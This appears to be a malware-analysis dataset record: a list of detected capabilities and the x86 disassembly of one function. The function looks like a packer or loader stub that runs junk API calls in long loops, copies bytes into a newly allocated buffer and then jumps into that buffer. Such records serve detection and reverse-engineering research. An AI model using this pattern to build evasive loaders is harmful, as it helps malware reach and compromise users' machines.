Function at 0x4021f8
Capabilities:
Copy file
Delete directory
Get common file path
Get disk information
Get file attributes
Get geographical location
Identify system language via api
Terminate thread

Disassembly:
mov eax, 0x41adc9
call fcn.0041acc8
mov ecx, dword [0x2d3b8f8]
sub esp, 0x8cc
push ebx
xor ebx, ebx
push esi
cmp ecx, 0x93
jne 0x4022df
push str.tediwipalu
call dword [sym.imp.KERNEL32.dll_AddAtomW]
xor eax, eax
push ebx
bts dword [eax], 0
lea eax, [ebp - 0x4d8]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push ebx
lea eax, [ebp - 0x8d8]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push ebx
call fcn.00406798
pop ecx
push ebx
call fcn.0040567b
lea ecx, [ebp - 0x1c]
mov dword [esp], str.bad_exception
call fcn.004010d0
lea ecx, [ebp - 0x1c]
call fcn.004010ec
push ebx
push ebx
call fcn.0040564e
push ebx
call fcn.004063b3
add esp, 0xc
push ebx
call fcn.0040680f
pop ecx
push ebx
call fcn.004063b3
mov dword [esp], 0x4217ac
call fcn.004063dd
pop ecx
lea ecx, [ebp - 0x18]
call fcn.00402bbd
lea eax, [ebp - 0x10]
mov dword [ebp - 4], ebx
push eax
lea ecx, [ebp - 0x18]
mov dword [ebp - 0x10], ebx
call fcn.00402bca
push ecx
push ecx
lea ecx, [ebp - 0xd8]
call fcn.00402c07
lea ecx, [ebp - 0xd8]
call fcn.00402462
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x18]
call fcn.00402bf7
mov ecx, dword [0x2d3b8f8]
mov eax, dword [0x427ee8]
add ecx, 0x1134b
push ecx
push ebx
mov dword [0x2d3b8fc], eax
mov dword [0x2d3b8f8], ecx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x2d3a8ec], eax
call fcn.0040218d
mov esi, 0x29156e
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
dec esi
jne 0x40230c
mov ecx, dword [0x2d3b8f8]
mov esi, ebx
test ecx, ecx
je 0x40237f
mov eax, dword [0x2d3b8fc]
mov cl, byte [eax + esi + 0x1134b]
mov eax, dword [0x2d3a8ec]
mov byte [eax + esi], cl
mov ecx, dword [0x2d3b8f8]
cmp ecx, 0x490
jne 0x40237a
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push ebx
lea eax, [ebp - 0x8d8]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x14]
push eax
push ebx
lea eax, [ebp - 0x4d8]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov ecx, dword [0x2d3b8f8]
inc esi
cmp esi, ecx
jb 0x402322
mov esi, ebx
lea eax, [ecx + esi]
cmp eax, 0x8d
jne 0x4023cf
push ebx
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push ebx
push ebx
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push ebx
lea eax, [ebp - 0x20]
push eax
push ebx
lea eax, [ebp - 0x8d8]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push ebx
push ebx
lea eax, [ebp - 0x4d8]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
mov ecx, dword [0x2d3b8f8]
inc esi
cmp esi, 0x38681
jl 0x402381
push ecx
call fcn.0040214a
mov esi, ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x62
jne 0x4023f0
call fcn.00402171
inc esi
cmp esi, 0x674db
jl 0x4023e0
push 0x7b
pop esi
cmp dword [0x2d3b8f8], 0x86
jne 0x40243e
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
push ebx
lea eax, [ebp - 0x24]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push ebx
push str.kixugawixakufuvudivisikiros
push str.noyoj
call dword [sym.imp.KERNEL32.dll_CopyFileA]
dec esi
jne 0x4023fc
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x2d3a8ec]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret